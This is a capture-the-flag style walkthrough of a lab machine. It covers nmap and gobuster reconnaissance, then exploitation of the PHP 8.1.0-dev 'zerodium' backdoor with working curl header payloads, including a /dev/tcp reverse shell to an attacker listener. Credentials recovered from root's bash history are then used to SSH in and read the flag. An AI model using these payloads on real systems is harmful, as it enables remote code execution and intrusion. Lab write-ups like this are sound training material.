

Target machine 2

```
nmap -A 192.168.16.136
```

```
(kali㉿kali)-[~/Desktop/npt]
$ nmap -A 192.168.16.136
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 11:02 EDT for device
Nmap scan report for 192.168.16.136 (192.168.16.136)
Host is up (0.00049s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
|_ ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp    open  http      Apache httpd 2.4.56 ((Debian))
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_ http-server-header: Apache/2.4.56 (Debian)
8080/tcp  open  http      PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_ http-open-proxy: Proxy might be redirecting requests
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:A4:BA:A6 (VMware)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:route
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.49 ms  192.168.16.136 (192.168.16.136)

OS and Service detection performed. Please report any incorrect results at https://nm
Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds
```

```
gobuster dir -u http://192.168.16.136/ -w /usr/share/wordlists/dirb/common.txt
```

```
(kali㉿kali)-[~/Desktop/npt]
$ gobuster dir -u http://192.168.16.136/ -w /usr/share/wordlists/dirb/common.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.16.136/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.htpasswd (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/index.php (Status: 200) [Size: 18]
/server-status (Status: 403) [Size: 279]
Progress: 4614 / 4615 (99.98%)

Finished
```

/index.php (200 OK)
.htaccess, .htpasswd, .hta (403 Forbidden)
/server-status (403 Forbidden)

Exploiting PHP 8.1.0-dev Backdoor

Port 8080 was running a vulnerable PHP 8.1.0-dev version. Using the **Zerodium backdoor**, commands could be executed remotely via a specially crafted **User-Agentt** header

```
curl -s -H "User-Agentt: zerodiumsystem('id');" http://192.168.16.136:8080/
```

```
(kali㉿kali)-[~/Desktop/npt]
$ curl -s -H "User-Agentt: zerodiumsystem('id');" http://192.168.16.136:8080/

uid=0(root) gid=0(root) groups=0(root)
<h1>Zerodium</h1>
```

```
nc -lvnp 4444
```

```
curl -s -H "User-Agent: zerodiusystem('bash -c \"bash -i >& /dev/tcp/192.168.16.128/4444 0>&1\"');" http://192.168.16.136:8080/
```

```
(kali㉿kali)-[~]
$ curl -s -H "User-Agent: zerodiusystem('bash -c \"bash -i >& /dev/tcp/192.168.16.128/4444 0>&1\"');" http://192.168.16.136:8080/

(kali㉿kali)-[~]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.16.128] from (UNKNOWN) [192.168.16.136] 37214
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@6ad9beefaa2d:/var/www/html# ls -la
ls -la
total 16
drwxr-xr-x 1 root root 4096 May  5  2023 .
drwxr-xr-x 1 root root 4096 Mar 30  2021 ..
-rw-r--r-- 1 root root  18 May  5  2023 index.php
root@6ad9beefaa2d:/var/www/html# ls -la /root
ls -la /root
total 24
drwx----- 1 root root 4096 May  5  2023 .
drwxr-xr-x 1 root root 4096 May  5  2023 ..
-rw-r--r-- 1 root root  47 May  5  2023 .bash_history
-rw-r--r-- 1 root root 570 Jan 31  2010 .bashrc
drwxr-xr-x 3 root root 4096 May  5  2023 .local
-rw-r--r-- 1 root root 148 Aug 17  2015 .profile
root@6ad9beefaa2d:/var/www/html# whoami
whoami
root
root@6ad9beefaa2d:/var/www/html# dir
dir
index.php
root@6ad9beefaa2d:/var/www/html# ls -la /home
ls -la /home
total 8
drwxr-xr-x 2 root root 4096 Nov 22  2020 .
drwxr-xr-x 1 root root 4096 May  5  2023 ..
root@6ad9beefaa2d:/var/www/html# cat /root/.bash_history
cat /root/.bash_history
cat: /root/.bash_history: No such file or directory
root@6ad9beefaa2d:/var/www/html# cat /root/.bash_history
cat /root/.bash_history
sshpas -p 'L14mD0ck3Rp0w4' ssh liam@127.0.0.1
root@6ad9beefaa2d:/var/www/html#
```

```
(kali㉿kali)-[~/Desktop/npt]
$ ssh liam@192.168.16.136
Warning: Permanently added '192.168.16.136' (ED25519) to the list of known hosts.
The authenticity of host '192.168.16.136 (192.168.16.136)' can't be established.
ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:8: [hashed name]
  ~/.ssh/known_hosts:11: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.16.136' (ED25519) to the list of known hosts.
liam@192.168.16.136's password:
Linux 0day2 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
Last login: Fri May  5 19:44:57 2023 from 192.168.1.10
liam@0day2:~$ ls
user.txt
liam@0day2:~$ cat user.txt
NPT{liam_3sc4l4t3d}
liam@0day2:~$
```

use the credential found to log in by ssh and found the flag

```
NPT{liam_3sc4l4t3d}
```